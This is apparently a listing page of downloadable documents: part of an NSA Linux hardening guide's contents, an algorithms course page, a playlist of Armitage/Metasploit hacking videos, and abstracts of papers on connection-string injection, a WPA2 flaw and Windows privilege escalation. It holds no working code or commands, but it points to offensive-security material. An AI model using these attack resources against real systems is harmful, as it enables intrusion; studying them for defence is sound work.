. . . . . . . . . . . . . . . . . . 155 3.13.3.1 Disable NFS Server Daemons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 3.13.3.2 Mount Remote Filesystems with Restrictive Options . . . . . . . . . . . . . . . . 155 3.13.4 Configure NFS Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 3.13.4.1 Configure the Exports File Restrictively . . . . . . . . . . . . . . . . . . . . . . . 156 3.13.4.2 Allow Legitimate NFS Clients to Access the Server . . . . . . . . . . . . . . . . 157 3.14 DNS Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 3.14.1 Disable DNS Server if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 3.14.2 Run the BIND9 Software if DNS Service is Needed . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3 Isolate DNS from Other Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3.1 Run DNS Software on Dedicated Servers if Possible . . . . . . . . . . . . . . . . 158 3.14.3.2 Run DNS Software in a chroot Jail . . . . . . . . . . . . . . . . . . . . . . . . . 158 3.14.3.3 Configure Firewalls to Protect the DNS Server . . . . . . . . . . . . . . . . . . . 159 3.14.4 Protect DNS Data from Tampering or Attack . . . . . . . . . . . . . . . . . . . . . . . . . 159 3.14.4.1 Run Separate DNS Servers for External and Internal Queries if Possible . . . . . 159 3.14.4.2 Use Views to Partition External and Internal Information if Necessary . . . . . . 160 3.14.4.3 Disable Zone Transfers from the Nameserver if Possible . . . . . . . . . . . . . . 161 3.14.4.4 Authenticate Zone Transfers if Necessary . . . . . . . . . . . . . . . . . . . . . . 162 3.14.4.5 Disable Dynamic Updates if Possible . . . . . . . . . . . . . . . . . . . . . . . . 163 3.15 FTP Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 3.15.1 Disable vsftpd if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 10 TABLE OF CONTENTS 3.15.2 Use vsftpd to Provide FTP Service if Necessary . . . . . . . . . . . . . . . . . . . . . . . 163 3.15.3 Configure vsftpd Securely . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.1 Enable Logging of All FTP Transactions . . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.2 Create Warning Banners for All FTP Users . . . . . . . . . . . . . . . . . . . . . 164 3.15.3.3 Restrict the Set of Users Allowed to Access FTP . . . . . . . . . . . . . . . . . . 164 3.15.3.4 Disable FTP Uploads if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . 165 3.15.3.5 Place the FTP Home Directory on its Own Partition . . . . . . . . . . . . . . . 166 3.15.3.6 Configure Firewalls to Protect the FTP Server . . . . . . . . . . . . . . . . . . . 166 3.16 Web Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166 3.16.1 Disable Apache if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 166 3.16.2 Install Apache if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.2.1 Install Apache Software Safely . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.2.2 Confirm Minimal Built-in Modules . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3 Secure the Apache Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3.1 Restrict Information Leakage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 3.16.3.2 Minimize Loadable Modules . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 3.16.3.3 Minimize Configuration Files Included . . . . . . . . . . . . . . . . . . . . . . . . 173 3.16.3.4 Directory Restrictions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173 3.16.3.5 Configure Authentication if Applicable . . . . . . . . . . . . . . . . . . . . . . . 174 3.16.3.6 Limit Available Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 3.16.4 Use Appropriate Modules to Improve Apache’s Security . . . . . . . . . . . . . . . . . . . 176 3.16.4.1 Deploy mod ssl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 3.16.4.2 Deploy mod security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178 3.16.4.3 Use Denial-of-Service Protection Modules . . . . . . . . . . . . . . . . . . . . . . 179 3.16.4.4 Configure Supplemental Modules Appropriately . . . . . . . . . . . . . . . . . . 179 3.16.5 Configure Operating System to Protect Web Server . . . . . . . . . . . . . . . . . . . . . 180 3.16.5.1 Restrict File and Directory Access . . . . . . . . . . . . . . . . . . . . . . . . . . 180 3.16.5.2 Configure iptables to Allow Access to the Web Server . . . . . . . . . . . . . . 181 3.16.5.3 Run Apache in a chroot Jail if Possible . . . . . . . . . . . . . . . . . . . . . . . 181 3.16.6 Additional Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17 IMAP and POP3 Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17.1 Disable Dovecot if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 3.17.2 Configure Dovecot if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.1 Support Only the Necessary Protocols . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.2 Enable SSL Support . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182 3.17.2.3 Enable Dovecot Options to Protect Against Code Flaws . . . . . . . . . . . . . . 184 3.17.2.4 Allow IMAP Clients to Access the Server . . . . . . . . . . . . . . . . . . . . . . 184 3.18 Samba (SMB) Microsoft Windows File Sharing Server . . . . . . . . . . . . . . . . . . . . . . . . 184 3.18.1 Disable Samba if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2 Configure Samba if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2.1 Testing the Samba Configuration File . . . . . . . . . . . . . . . . . . . . . . . . 185 3.18.2.2 Choosing the Appropriate security Parameter . . . . . . . . . . . . . . . . . . 185 3.18.2.3 Disable Guest Access and Local Login Support . . . . . . . . . . . . . . . . . . . 187 3.18.2.4 Disable Root Access . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187 3.18.2.5 Set the Allowed Authentication Negotiation Levels . . . . . . . . . . . . . . . . . 187 3.18.2.6 Let Domain Controllers Create Machine Trust Accounts On-the-Fly . . . . . . . 188 3.18.2.7 Restrict Access to the [IPC$] Share . . . . . . . . . . . . . . . . . . . . . . . . . 188 3.18.2.8 Restrict File Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 188 3.18.2.9 Require Server SMB Packet Signing . . . . . . . . . . . . . . . . . . . . . . . . . 189 3.18.2.10 Require Client SMB Packet Signing, if using smbclient . . . . . . . . . . . . . . 189 3.18.2.11 Require Client SMB Packet Signing, if using mount.cifs . . . . . . . . . . . . . 189 3.18.2.12 Restrict Printer Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189 TABLE OF CONTENTS 11 3.18.2.13 Configure iptables to Allow Access to the Samba Server . . . . . . . . . . . . . 190 3.18.3 Avoid the Samba Web Administration Tool (SWAT) . . . . . . . . . . . . . . . . . . . . . 190 3.19 Proxy Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.1 Disable Squid if Possible . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2 Configure Squid if Necessary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.1 Listen on Uncommon Port . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.2 Verify Default Secure Settings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 3.19.2.3 Change Default Insecure Settings . . . . . . . . . . . . . . . . . . . . . . . . . . 192 3.19.2.4 Configure Authentication if Applicable . . . . . . . . . . . . . . . . . . . . . . . 193 3.19.2.5 Access Control Lists (ACL) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193 3.19.2.6 Configure Internet Cache Protocol (ICP) if Necessary . . . . . . . . . . . . . . . 195 3.19.2.7 Configure iptables to Allow Access to the Proxy Server . . . . . . . . . . . . . 195 3.19.2.8 Forward Log Messages to Syslog Daemon . . . . . . . . . . . . . . . . . . . . . . 195 3.19.2.9 Do Not Run as Root . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196 Download: http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf

Armitage Videos 16 videos Total length: 2 hours, 25 minutes Description: A list of third-party videos demoing the Armitage GUI for Metasploit. Metaexploid +nmap+armitage (Peru -Ethical Hacking) Hacking with Armitage Hacking with armitage Hack Windows 7 with Armitage Metasploit How to hack a remote system using Metasploit and Armitage - Update No Skill Hacking with Armitage on Back|Track 4 R2 GnackTrack - Hail Mary Attack :Armitage Metasploit and Armitage on Android (Captivate) - HOW TO - armitage Owning A Windows 7 Laptop with Armitage - IE Zero Day Exploit XP SP3 + BT4 R2 + Armitage / Metasploit = PWNED ;~) Armitage into 101 armitage metasploit tomcat_mgr_deploy I love Armitage Armitage ????? ?????? ?????? Metasploit.flv Armitage-moznosti.ogv Youtube: http://www.youtube.com/view_play_list?p=2F17895D75871184

Algorithms Course Materials by Jeff Erickson January 2011 revision This page contains all my lecture notes for the algorithms classes required for all computer science undergraduate and graduate students at the University of Illinois, Urbana-Champaign. I have taught incarnations of this course eight times: Spring 1999, Fall 2000, Spring 2001, Fall 2002, Spring 2004, Fall 2005, Fall 2006, Spring 2007, Fall 2008, Spring 2009, Spring 2010, and Fall 2010. These notes are numbered roughly in the order I use them in my undergraduate class. More advanced material is indicated by the symbol ?. More information about these notes is available after the notes themselves. A large collection of old homeworks and exams follows the lecture notes. Most of these homework and exam problems also appear at the ends of the appropriate lecture notes. Except for various Homework Zeros, which are solely my fault, most of the homework problems were written by my teaching assistants: Aditya Ramani, Alina Ene, Amir Nayyeri, Asha Seetharam, Ben Moseley, Brian Ensink, Chris Neihengen, Dan Bullok, Dan Cranston, David Morrison, Johnathon Fischer, Ekta Manaktala, Erin Wolf Chambers, Igor Gammer, Gio Kao, Kevin Milans, Kevin Small, Kyle Fox, Lan Chen, Michael Bond, Mitch Harris, Nick Hurlburt, Nitish Korula, Rachit Agarwal, Reza Zamani-Nasab, Rishi Talreja, Rob McCann, Shripad Thite, and Yasu Furakawa. Please do not ask me for solutions. If you're a student, you will (usually) learn more from trying to solve a problem and failing than by reading the answer. If you really need help, ask your instructor, your TAs, and/or your fellow students. If you're an instructor, you really shouldn't assign problems that you can't solve yourself! (Because I don't always follow my own advice, some of the problems are buggy, especially in older homeworks and exams. I've tried to keep the buggy problems out of the lecture notes themselves.) The previous edition of this material, which includes notes on material I have not taught for several years, including string algorithms and computational geometry. More recent version of these notes, along with current homework and exams, may be available at the official sites for the undergraduate and/or graduate algorithms classes at UIUC. Feedback of any kind is always welcome, especially bug reports. I would particularly appreciate hearing from anyone outside UIUC who finds these notes useful (or useless)! Copyright. Except as indicated otherwise, all material linked from this web page is Copyright © 1999–2011 Jeff Erickson. Anyone may freely download, print, copy, and/or distribute anything on this page, either electronically or on paper. However, nothing on this page may be sold in any form for more than the actual cost of printing and/or reproduction. For example, you are welcome to make local copies on your own web server, but you are not allowed to require an access fee (such as tuition) to view your local copy; that's the same as selling it. If you distribute these notes, please give me proper credit and please include a pointer to this web page (Jeff Erickson's Algorithms Course Materials). If you're a lawyer, read the legalese. Download: http://compgeom.cs.uiuc.edu/~jeffe/teaching/algorithms/everything.pdf Mai multe: Jeff Erickson's Algorithms Course Materials

Connection String Parameter Pollution Attacks Chema Alonso1, Manuel Fernandez1, Alejandro Martín1 and Antonio Guzmán2 Informatica64, S.L. Universidad Rey Juan Carlos {chema,mfernandez,amartin}@informatica64.com, antonio.guzman@urjc.es Abstract In 2007 the ranking of the top ten critical vulnerabilities for the security of a system established code injection as the top 2, closely following top 1 XSS attacks. The first release candidate of the 2010 version of the ranking has promoted code injection attacks to top 1. Actually, the most critical attacks are those that combine XSS techniques to access systems and code injection techniques to access the information. The potential damage associated with this kind of threats, the total absence of background and the fact that the solution to mitigate these vulnerabilities must be worked together with programmers, systems administrators and database vendors justifies an in-depth analysis to estimate all the possible ways of implementing this technique. Keywords: Code injection attacks, connection strings, web application authentication delegation 1 Introduction SQL injections are probably the most known injection attacks to web applications by abusing its database architecture. Many different approaches and techniques have been studied and analyzed so far, and the published results conclude that to prevent these attacks from being successful, development teams need to establish the correct filtering levels on the inputs to the system. In the case of the attack presented in this paper, responsibility lays not only on developers, but also on system administrators and database vendors. This attack affects web applications, but instead of abusing implementation flaws in the way database queries are crafted, which is the most commonly found scenario on other injection attacks, it abuses the way applications connect to the database. According to OWASP [1], in 2007 the ranking of the top ten critical vulnerabilities for the security of a system established code injection attacks as the top 2, closely following top 1 XSS attacks. The first release candidate of the 2010 version of the ranking has promoted code injection attacks to top 1. Actually, the most critical attacks are those that combine XSS techniques to access systems and code injection techniques to access the information. This is the case for the so-called connectionstring parameter pollution attacks. Potential impact of this type of vulnerability and the total absence of background justify an in-depth analysis to estimate all possible attack vectors using this technique. This paper is structured is in three main sections. The first is this short introduction where the foundations of the connection strings and existing mechanisms for the implementation of web applications authentication will be introduce. Section two proposes a comprehensive study of this new attack technique, with an extensive collection of test cases. The article concludes briefly summarizing the lessons learned. Download: http://www.exploit-db.com/download_pdf/17254

WPA Too! Md Sohail Ahmad, AirTight Networks md.ahmad@airtightnetworks.com Abstract WPA2 is considered as the most secure configuration for WiFi networks. It is widely used to secure enterprise and private WiFi networks. Interestingly, it is also being used to secure guest, municipal and public WiFi networks. In this paper, we present a vulnerability of WPA2 protocol which can be exploited by a malicious user to attack and compromise legitimate users. We also present a few attack mitigation techniques which can be used to protect genuine WiFi users. I. Introduction The 802.11i [1] specifies security protocols for WiFi networks. RSN is one of the security configurations available in 802.11i and popularly known as WPA2. WPA2 supports two types of authentication- Pres-Shared Key (PSK) and IEEE 802.1x. For data encryption, WPA2 uses AES though it also supports TKIP. TKIP stands for temporal key integrity protocol and used by old devices which are compliant to WEP encryption. AES stands for advanced encryption system. Most of the current generation WiFi devices support AES. A couple of attacks on WPA/WPA2 authentication and encryption that have been published in the past are mentioned below: - PSK vulnerability [2]: PSK is vulnerable to eavesdropping and dictionary attack. To solve PSK vulnerability, it is recommended to use the IEEE 802.1x based authentication. - PEAP vulnerability [3]: A WiFi client’s configuration related vulnerability was identified in 2008. It can be avoided by simply following good practices and by not ignoring certificate validation check in client wireless configuration. - TKIP vulnerability [4]: TKIP vulnerability allows attacker to guess IP address of the subnet and then inject few small size frames to cause disruption in the network. Fast re-keying or AES can be used to fix the vulnerability. In the next section, we describe attacks based on a vulnerability of WPA2 protocol and discuss its implications. Finally, we discuss a few solutions to mitigate the attacks. Download: http://www.exploit-db.com/download_pdf/17255

Token Kidnapping's Revenge Author: Cesar Cerrudo (cesar.at.argeniss.dot.com) Abstract This document describes some Microsoft Windows elevation of privilege vulnerabilities, how they were found with the use of simple tools and how they can be exploited. Starting with a little security issue that then leads to more significant vulnerabilities finding. All the vulnerabilities detailed here are not publicly know at the time of this document release. Table of contents Table of contents.................................................................................................................................2 Abstract................................................................................................................................................3 Introduction.........................................................................................................................................4 Some theory.........................................................................................................................................5 The Tools.............................................................................................................................................6 Finding the vulnerabilities...................................................................................................................6 Bypassing Microsoft fix for Token Kidnapping on Windows 2003 and XP.....................................10 Preventing exploitation......................................................................................................................13 Conclusion.........................................................................................................................................14 Special Thanks...................................................................................................................................15 About the author................................................................................................................................16 References.........................................................................................................................................17 About Argeniss..................................................................................................................................18 Download: http://www.exploit-db.com/download_pdf/17256